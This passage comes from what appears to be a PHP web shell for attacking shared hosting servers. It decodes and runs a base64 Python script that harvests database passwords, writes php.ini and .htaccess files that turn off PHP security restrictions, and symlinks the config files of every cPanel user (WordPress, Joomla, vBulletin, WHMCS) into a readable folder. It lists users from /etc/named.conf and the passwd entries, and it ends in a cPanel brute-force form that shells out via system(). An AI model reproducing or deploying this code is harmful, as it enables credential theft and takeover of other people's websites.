C4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=\';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST[\'url\'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink (\'cp.py\');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
if($_POST[\'matikan\']==\'sekatan\'){
@error_reporting(0);
$phpini =
\'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==\';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
\'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==\';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
if($_POST[\'mendapatkan\']==\'passwd\'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);
$fn = $_POST[\'foldername\'];
//all function here

function syml($usern,$pdomain)
	{
		symlink(\'/home/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
	}

				$d0mains = @file("/etc/named.conf");
		
				if($d0mains)
				{
					mkdir($fn);
					chdir($fn);
										
					foreach($d0mains as $d0main)
					{
						if(eregi("zone",$d0main))
						{
							preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
							flush();
								
							if(strlen(trim($domains[1][0])) > 2)
							{ 
								$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
								
								syml($user[\'name\'],$domains[1][0]);					
							}
						}
					}
					echo "<center><font color=lime size=3>[ Done ]</font></center>";
					echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; 
				}
				else
				{
					mkdir($fn);
					chdir($fn);
					$temp = "";
					$val1 = 0;
					$val2 = 1000;
					for(;$val1 <= $val2;$val1++) 
					{
						$uid = @posix_getpwuid($val1);
						if ($uid)
							$temp .= join(\':\',$uid)."
";
					 }
					 echo \'<br/>\';
					 $temp = trim($temp);
					 
					 $file5 = fopen("test.txt","w");
					 fputs($file5,$temp);
					 fclose($file5);

$htaccess =
\'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
\';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
					 
					 $file = fopen("test.txt", "r") or exit("Unable to open file!");
					 while(!feof($file))
					 {
						$s = fgets($file);
						$matches = array();
						$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
						$matches = str_replace("home/","",$matches[1]);
						if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
							continue;
						syml($matches,$matches);
					 }
					fclose($file);
					echo "</table>";
					unlink("test.txt");
					echo "<center><font color=lime size=3>[ Done ]</font></center>";
					echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; 
				}
echo "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
	<strong>
<input name="page" type="hidden" value="find"><table>      				
    </strong><br><br><center><font size="5" style="italic" color="#FF0000">--==[ Cpanel BruteForce ]==--</font></center><br><br>
    <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
	<tr>
	<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<center><b><font size="5" style="italic" color="#FF0000">Cpanel BruteForce</font></b></center></td></tr>
    <tr>
    <td>
    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>User :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="usernames"><?php system(\'ls /var/mail\');?></textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>Pass :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="passwords"></textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>Type :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
    <span class="style2"><strong>Simple : </strong> </span>
